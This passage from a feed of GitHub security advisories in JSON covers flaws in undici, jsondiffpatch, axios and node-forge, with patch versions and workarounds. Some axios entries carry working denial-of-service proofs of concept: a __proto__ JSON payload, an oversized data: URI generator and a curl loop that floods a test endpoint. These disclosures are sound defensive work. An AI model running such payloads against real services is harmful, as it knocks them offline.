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      "package": {
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        "name": "undici"
      },
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        {
          "events": [
            {
              "introduced": "0"
            },
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          ],
          "type": "ECOSYSTEM"
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      ]
    },
    {
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        "name": "undici"
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  "aliases": [
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  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:07:03Z",
    "nvd_published_at": "2026-03-12T20:16:02Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nUndici allows duplicate HTTP `Content-Length` headers when they are provided in an array with case-variant names (e.g., `Content-Length` and `content-length`). This produces malformed HTTP/1.1 requests with multiple conflicting `Content-Length` values on the wire.\n\n**Who is impacted:**\n  - Applications using `undici.request()`, `undici.Client`, or similar low-level APIs with headers passed as flat arrays\n  - Applications that accept user-controlled header names without case-normalization\n\n**Potential consequences:**\n  - **Denial of Service**: Strict HTTP parsers (proxies, servers) will reject requests with duplicate `Content-Length` headers (400 Bad Request)\n  - **HTTP Request Smuggling**: In deployments where an intermediary and backend interpret duplicate headers inconsistently (e.g., one uses the first value, the other uses the last), this can enable request smuggling attacks leading to ACL bypass, cache poisoning, or credential hijacking\n\n### Patches\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\n  If upgrading is not immediately possible:\n\n  1. **Validate header names**: Ensure no duplicate `Content-Length` headers (case-insensitive) are present before passing headers to undici\n  2. **Use object format**: Pass headers as a plain object (`{ \u0027content-length\u0027: \u0027123\u0027 }`) rather than an array, which naturally deduplicates by key\n  3. **Sanitize user input**: If headers originate from user input, normalize header names to lowercase and reject duplicates",
  "id": "GHSA-2mjp-6q6p-2qxm",
  "modified": "2026-03-13T20:07:03Z",
  "published": "2026-03-13T20:07:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-2mjp-6q6p-2qxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1525"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3556037"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/444.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc9110.html#section-8.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Undici has an HTTP Request/Response Smuggling issue"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsondiffpatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-9910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-12T21:12:49Z",
    "nvd_published_at": "2025-09-11T05:15:34Z",
    "severity": "MODERATE"
  },
  "details": "### Vulnerability in jsondiffpatch\n\nVersions of `jsondiffpatch` prior to `0.7.2` are vulnerable to Cross-site Scripting (XSS) in the `HtmlFormatter` (`HtmlFormatter::nodeBegin`). When diffs are rendered to HTML using the built-in formatter, untrusted payloads can inject scripts and execute in the context of a consuming web page.\n\n**Affected versions:** \u003e= 0, \u003c 0.7.2\n**Patched version:** 0.7.2\n\n**Remediation**\nUpgrade to `jsondiffpatch` `0.7.2` or later. The fix hardens the HTML formatter to avoid script injection.\n\n**Workarounds**\nAvoid using the HTML formatter on untrusted diffs, or sanitize/escape the rendered output.",
  "id": "GHSA-33vc-wfww-vjfv",
  "modified": "2025-09-22T22:45:32Z",
  "published": "2025-09-11T06:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9910"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benjamine/jsondiffpatch/issues/383"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benjamine/jsondiffpatch/commit/0e374b5dd8d7879b329a9fc18affbd46ad50dd14"
    },
    {
      "type": "WEB",
      "url": "https://benjamine.github.io/jsondiffpatch/index.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/benjamine/jsondiffpatch"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-12549277"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-12549276"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-JSONDIFFPATCH-10369031"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jsondiffpatch is vulnerable to Cross-site Scripting (XSS) via HtmlFormatter::nodeBegin"
}

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    "cwe_ids": [
      "CWE-1321",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T17:46:14Z",
    "nvd_published_at": "2026-02-09T21:15:49Z",
    "severity": "HIGH"
  },
  "details": "# Denial of Service via **proto** Key in mergeConfig\n\n### Summary\n\nThe `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.\n\n### Details\n\nThe vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:\n\n```javascript\nutils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {\n  const merge = mergeMap[prop] || mergeDeepProperties;\n  const configValue = merge(config1[prop], config2[prop], prop);\n  (utils.isUndefined(configValue) \u0026\u0026 merge !== mergeDirectKeys) || (config[prop] = configValue);\n});\n```\n\nWhen `prop` is `\u0027__proto__\u0027`:\n\n1. `JSON.parse(\u0027{\"__proto__\": {...}}\u0027)` creates an object with `__proto__` as an own enumerable property\n2. `Object.keys()` includes `\u0027__proto__\u0027` in the iteration\n3. `mergeMap[\u0027__proto__\u0027]` performs prototype chain lookup, returning `Object.prototype` (truthy object)\n4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`\n5. `Object.prototype(...)` throws `TypeError: merge is not a function`\n\nThe `mergeConfig` function is called by:\n\n- `Axios._request()` at `lib/core/Axios.js:75`\n- `Axios.getUri()` at `lib/core/Axios.js:201`\n- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`\n\n### PoC\n\n```javascript\nimport axios from \"axios\";\n\nconst maliciousConfig = JSON.parse(\u0027{\"__proto__\": {\"x\": 1}}\u0027);\nawait axios.get(\"https://httpbin.org/get\", maliciousConfig);\n```\n\n**Reproduction steps:**\n\n1. Clone axios repository or `npm install axios`\n2. Create file `poc.mjs` with the code above\n3. Run: `node poc.mjs`\n4. Observe the TypeError crash\n\n**Verified output (axios 1.13.4):**\n\n```\nTypeError: merge is not a function\n    at computeConfigValue (lib/core/mergeConfig.js:100:25)\n    at Object.forEach (lib/utils.js:280:10)\n    at mergeConfig (lib/core/mergeConfig.js:98:9)\n```\n\n**Control tests performed:**\n| Test | Config | Result |\n|------|--------|--------|\n| Normal config | `{\"timeout\": 5000}` | SUCCESS |\n| Malicious config | `JSON.parse(\u0027{\"__proto__\": {\"x\": 1}}\u0027)` | **CRASH** |\n| Nested object | `{\"headers\": {\"X-Test\": \"value\"}}` | SUCCESS |\n\n**Attack scenario:**\nAn application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{\"__proto__\": {\"x\": 1}}`.\n\n### Impact\n\n**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.\n\nAffected environments:\n\n- Node.js servers using axios for HTTP requests\n- Any backend that passes parsed JSON to axios configuration\n\nThis is NOT prototype pollution - the application crashes before any assignment occurs.",
  "id": "GHSA-43fc-jf86-j433",
  "modified": "2026-05-08T13:46:54Z",
  "published": "2026-02-09T17:46:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25639"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7369"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7388"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.30.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.13.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:41:26Z",
    "nvd_published_at": "2026-03-12T21:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nWhen an application passes user-controlled input to the `upgrade` option of `client.request()`, an attacker can inject CRLF sequences (`\\r\\n`) to:\n\n1. Inject arbitrary HTTP headers\n2. Terminate the HTTP request prematurely and smuggle raw data to non-HTTP services (Redis, Memcached, Elasticsearch)\n\nThe vulnerability exists because undici writes the `upgrade` value directly to the socket without validating for invalid header characters:\n\n```javascript\n// lib/dispatcher/client-h1.js:1121\nif (upgrade) {\n  header += `connection: upgrade\\r\\nupgrade: ${upgrade}\\r\\n`\n}\n```\n\n### Patches\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\nSanitize the `upgrade` option string before passing to undici:\n\n```javascript\nfunction sanitizeUpgrade(value) {\n  if (/[\\r\\n]/.test(value)) {\n    throw new Error(\u0027Invalid upgrade value\u0027)\n  }\n  return value\n}\n\nclient.request({\n  upgrade: sanitizeUpgrade(userInput)\n})\n```",
  "id": "GHSA-4992-7rv2-5pvq",
  "modified": "2026-03-13T20:41:26Z",
  "published": "2026-03-13T20:41:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-4992-7rv2-5pvq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1527"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3487198"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Undici has CRLF Injection in undici via `upgrade` option"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.28.0"
            },
            {
              "fixed": "0.30.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58754"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-11T21:07:55Z",
    "nvd_published_at": "2025-09-12T02:15:46Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.\nThis path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: \u0027stream\u0027`.\n\n## Details\n\nThe Node adapter (`lib/adapters/http.js`) supports the `data:` scheme. When `axios` encounters a request whose URL starts with `data:`, it does not perform an HTTP request. Instead, it calls `fromDataURI()` to decode the Base64 payload into a Buffer or Blob.\n\nRelevant code from [`[httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):\n\n```js\nconst fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);\nconst parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);\nconst protocol = parsed.protocol || supportedProtocols[0];\n\nif (protocol === \u0027data:\u0027) {\n  let convertedData;\n  if (method !== \u0027GET\u0027) {\n    return settle(resolve, reject, { status: 405, ... });\n  }\n  convertedData = fromDataURI(config.url, responseType === \u0027blob\u0027, {\n    Blob: config.env \u0026\u0026 config.env.Blob\n  });\n  return settle(resolve, reject, { data: convertedData, status: 200, ... });\n}\n```\n\nThe decoder is in [`[lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):\n\n```js\nexport default function fromDataURI(uri, asBlob, options) {\n  ...\n  if (protocol === \u0027data\u0027) {\n    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;\n    const match = DATA_URL_PATTERN.exec(uri);\n    ...\n    const body = match[3];\n    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? \u0027base64\u0027 : \u0027utf8\u0027);\n    if (asBlob) { return new _Blob([buffer], {type: mime}); }\n    return buffer;\n  }\n  throw new AxiosError(\u0027Unsupported protocol \u0027 + protocol, ...);\n}\n```\n\n* The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.\n* It does **not** honour `config.maxContentLength` or `config.maxBodyLength`, which only apply to HTTP streams.\n* As a result, a `data:` URI of arbitrary size can cause the Node process to allocate the entire content into memory.\n\nIn comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when `totalResponseBytes` exceeds [`[maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for `data:` URIs.\n\n\n## PoC\n\n```js\nconst axios = require(\u0027axios\u0027);\n\nasync function main() {\n  // this example decodes ~120 MB\n  const base64Size = 160_000_000; // 120 MB after decoding\n  const base64 = \u0027A\u0027.repeat(base64Size);\n  const uri = \u0027data:application/octet-stream;base64,\u0027 + base64;\n\n  console.log(\u0027Generating URI with base64 length:\u0027, base64.length);\n  const response = await axios.get(uri, {\n    responseType: \u0027arraybuffer\u0027\n  });\n\n  console.log(\u0027Received bytes:\u0027, response.data.length);\n}\n\nmain().catch(err =\u003e {\n  console.error(\u0027Error:\u0027, err.message);\n});\n```\n\nRun with limited heap to force a crash:\n\n```bash\nnode --max-old-space-size=100 poc.js\n```\n\nSince Node heap is capped at 100 MB, the process terminates with an out-of-memory error:\n\n```\n\u003c--- Last few GCs ---\u003e\n\u2026\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n1: 0x\u2026 node::Abort() \u2026\n\u2026\n```\n\nMini Real App PoC:\nA small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore `maxContentLength `, `maxBodyLength` and decodes into memory on Node before streaming enabling DoS.\n\n```js\nimport express from \"express\";\nimport morgan from \"morgan\";\nimport axios from \"axios\";\nimport http from \"node:http\";\nimport https from \"node:https\";\nimport { PassThrough } from \"node:stream\";\n\nconst keepAlive = true;\nconst httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });\nconst httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });\nconst axiosClient = axios.create({\n  timeout: 10000,\n  maxRedirects: 5,\n  httpAgent, httpsAgent,\n  headers: { \"User-Agent\": \"axios-poc-link-preview/0.1 (+node)\" },\n  validateStatus: c =\u003e c \u003e= 200 \u0026\u0026 c \u003c 400\n});\n\nconst app = express();\nconst PORT = Number(process.env.PORT || 8081);\nconst BODY_LIMIT = process.env.MAX_CLIENT_BODY || \"50mb\";\n\napp.use(express.json({ limit: BODY_LIMIT }));\napp.use(morgan(\"combined\"));\n\napp.get(\"/healthz\", (req,res)=\u003eres.send(\"ok\"));\n\n/**\n * POST /preview { \"url\": \"\u003chttp|https|data URL\u003e\" }\n * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).\n */\n\napp.post(\"/preview\", async (req, res) =\u003e {\n  const url = req.body?.url;\n  if (!url) return res.status(400).json({ error: \"missing url\" });\n\n  let u;\n  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: \"invalid url\" }); }\n\n  // Developer allows using data:// in the allowlist\n  const allowed = new Set([\"http:\", \"https:\", \"data:\"]);\n  if (!allowed.has(u.protocol)) return res.status(400).json({ error: \"unsupported scheme\" });\n\n  const controller = new AbortController();\n  const onClose = () =\u003e controller.abort();\n  res.on(\"close\", onClose);\n\n  const before = process.memoryUsage().heapUsed;\n\n  try {\n    const r = await axiosClient.get(u.toString(), {\n      responseType: \"stream\",\n      maxContentLength: 8 * 1024, // Axios will ignore this for data:\n      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:\n      signal: controller.signal\n    });\n\n    // stream only the first 64KB back\n    const cap = 64 * 1024;\n    let sent = 0;\n    const limiter = new PassThrough();\n    r.data.on(\"data\", (chunk) =\u003e {\n      if (sent + chunk.length \u003e cap) { limiter.end(); r.data.destroy(); }\n      else { sent += chunk.length; limiter.write(chunk); }\n    });\n    r.data.on(\"end\", () =\u003e limiter.end());\n    r.data.on(\"error\", (e) =\u003e limiter.destroy(e));\n\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    limiter.pipe(res);\n  } catch (err) {\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    res.status(502).json({ error: String(err?.message || err) });\n  } finally {\n    res.off(\"close\", onClose);\n  }\n});\n\napp.listen(PORT, () =\u003e {\n  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);\n  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);\n});\n```\nRun this app and send 3 post requests:\n```sh\nSIZE_MB=35 node -e \u0027const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString(\"base64\"); process.stdout.write(JSON.stringify({url:\"data:application/octet-stream;base64,\"+b}))\u0027 \\\n| tee payload.json \u003e/dev/null\nseq 1 3 | xargs -P3 -I{} curl -sS -X POST \"$URL\" -H \u0027Content-Type: application/json\u0027 --data-binary @payload.json -o /dev/null```\n```\n\n---\n\n## Suggestions\n\n1. **Enforce size limits**\n   For `protocol === \u0027data:\u0027`, inspect the length of the Base64 payload before decoding. If `config.maxContentLength` or `config.maxBodyLength` is set, reject URIs whose payload exceeds the limit.\n\n2. **Stream decoding**\n   Instead of decoding the entire payload in one `Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.",
  "id": "GHSA-4hjh-wcwx-xvwj",
  "modified": "2026-01-16T14:49:38Z",
  "published": "2025-09-11T21:07:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58754"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7034"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.30.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.12.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios is vulnerable to DoS attack through lack of data size check"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-26T22:08:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.\n\n### Details\n\nAn ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge `asn1.fromDer` function within `forge/lib/asn1.js`. The ASN.1 DER parser implementation (`_fromDer`) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw `RangeError: Maximum call stack size exceeded`, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.\n\n### Impact\n\nThis vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.\n\nThis vulnerability impacts the ans1.fromDer function in `node-forge` before patched version `1.3.2`. \n\nAny downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.",
  "id": "GHSA-554w-wpv2-vw27",
  "modified": "2025-11-26T22:08:37Z",
  "published": "2025-11-26T22:08:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-554w-wpv2-vw27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/commit/260425c6167a38aae038697132483b5517b26451"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-forge has ASN.1 Unbounded Recursion"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-12816"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-26T22:07:19Z",
    "nvd_published_at": "2025-11-25T20:15:58Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCVE-2025-12816 has been reserved by CERT/CC\n\n**Description**\nAn Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.\n\n\n### Details\n\nA critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within `forge/lib/asn1.js`. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.\n\nThis vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).\n\n### Impact\n\nThis flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.\n\nThis vulnerability impacts the `ans1.validate` function in `node-forge` before patched version `1.3.2`.\nhttps://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.\n\nThe following components in `node-forge` are impacted.\n[lib/asn1.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/asn1.js#L1153)\n[lib/x509.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/x509.js#L667)\n[lib/pkcs12.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs12.js#L328)\n[lib/pkcs7.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs7.js#L90)\n[lib/rsa.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/rsa.js#L1167)\n[lib/pbe.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pbe.js#L363)\n[lib/ed25519.js](https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/ed25519.js#L81)\n\nAny downstream application using these components is impacted.\n\nThese components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.",
  "id": "GHSA-5gfm-wpxj-wjgq",
  "modified": "2025-11-26T22:07:20Z",
  "published": "2025-11-26T22:07:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5gfm-wpxj-wjgq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/pull/1124"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/asn1.js#L1153"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/ed25519.js#L81"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pbe.js#L363"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs12.js#L328"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/pkcs7.js#L90"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/rsa.js#L1167"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/blob/2bb97afb5058285ef09bcf1d04d6bd6b87cffd58/lib/x509.js#L667"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/521113"
